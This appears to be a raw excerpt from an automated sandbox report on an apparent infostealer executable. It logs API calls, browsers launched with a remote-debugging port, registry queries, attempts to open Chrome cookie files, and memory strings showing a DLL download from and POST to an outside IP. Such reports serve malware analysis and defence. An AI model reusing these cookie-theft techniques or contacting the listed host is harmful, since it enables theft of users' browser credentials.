"GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WaitForSingleObjectEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter __dllonexit (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter __setusermatherr (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _amsg_exit (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _beginthreadex (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _endthreadex (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _errno (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _initterm (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _iob (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _lock (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _onexit (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter localtime (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter calloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter cosh (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter fprintf (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter fwrite (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter qsort (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter realloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter sinh (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strcmp (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strcspn (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strncmp (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strrchr (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter _unlock (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter abort (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter acos (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter asin (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter atan (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter tan (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter tanh (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter vfprintf (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter connect_to_websocket (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter free_result (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter QueryInterruptTime (UID: 00000000-00001720)34:T9f8,Spawned process "chrome.exe" with commandline "--remote-debugging-port=9229 --profile-directory="Default"" (UID: 00000000-00000196) Spawned process "chrome.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Google\ ..." (UID: 00000000-00006756), Spawned process "chrome.exe" with commandline "--type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAA ..." (UID: 00000000-00007000), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00006260), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007420), Spawned process "chrome.exe" with commandline "--type=renderer --enable-chrome-cart --no-appcompat-clear --remo ..." (UID: 00000000-00007728), Spawned process "chrome.exe" with commandline "--type=renderer --enable-chrome-cart --no-appcompat-clear --remo ..." (UID: 00000000-00004512), Spawned process "chrome.exe" with commandline "--type=renderer --enable-chrome-cart --no-appcompat-clear --remo ..." (UID: 00000000-00006444), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00004112), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00007660), Spawned process "msedge.exe" with commandline "--remote-debugging-port=9229 --profile-directory="Default"" (UID: 00000000-00004516), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00003556) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00005000) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00006460) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003916) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00007052) Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --display-capture-permissions- ..." (UID: 00000000-00007360) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00006804)35:T54a,Found string "GET /9c4ff1f7c1a7004e/sqlite3.dll HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found string "POST /f0592db368f6bb51.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found string "Host95.215.204.131GET /9c4ff1f7c1a7004e/sqlite3.dll HTTP/1.1<" (Indicator: "HTTP/1.1"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found string "InvalidStatusCodeinvalid status codeHTTP/0.9HTTP/1.0HTTP/1.1HTTP/2.0HTTP/3.0internal error: entered unreachable codeC:\Users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\version.rs" (Indicator: "HTTP/1.1"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found string "InvalidStatusCodeinvalid status codeHTTP/0.9HTTP/1.0HTTP/1.1HTTP/2.0HTTP/3.0internal error: entered unreachable codeC:\Users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\version.rs" (Indicator: "HTTP/1.0"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")36:T43f,file/memory contains long string with (Indicator: "aes"; File: "freebl3.dll") file/memory contains long string with (Indicator: "base64"; File: "FCBAECGI") file/memory contains long string with (Indicator: "base64"; File: "IIJDBGDG") Found string "" (Indicator: "base64"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found string "Someinteger overflow when calculating buffer sizeC:\Users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\base64-0.13.1\src\encode.rs" (Indicator: "base64"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found string "C:\Users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\rand_chacha-0.3.1\src\guts.rs" (Indicator: "chacha"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found string "SymGetModuleBase64" (Indicator: "base64"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")37:T673,"bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")38:Tb0a,"bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")39:T6fa,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetFileAttributesExA" (Indicator: "GetFileAttributes"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")3a:T1f72,"bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-65EB3852-1DAC.pma\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-65EB3888-13E4.pma\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-660D491F-1F5C.pma\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-660D4992-1AB4.pma\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CommerceHeuristics\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\attachments\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\metadata\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\reports\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database-journal\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOCK\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.old\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\blob_storage\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3ed16e19-0a8b-4920-891a-ff9d2876ea34\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsSiteData\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsSiteData-journal\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOCK\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000003\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000007\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000a\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\index\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOCK\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Code Cache\NETWORK\COOKIES"3b:T6e1,Observed import api "AddAccessAllowedAce" which can "Adds an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: nss3_1_.dll] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: nss3_1_.dll] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: nss3_1_.dll] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: nss3_1_.dll] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: nss3_1_.dll] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: nss3_1_.dll] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: nss3_1_.dll] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: nss3_1_.dll] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: nss3_1_.dll] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: nss3_1_.dll] Observed import api "SetSecurityDescriptorGroup" which can "Sets the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: nss3_1_.dll] Observed import api "SetSecurityDescriptorOwner" which can "Sets the owner information of an absolute-format security descriptor" [Source: nss3_1_.dll]3c:Tcfa,"bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called 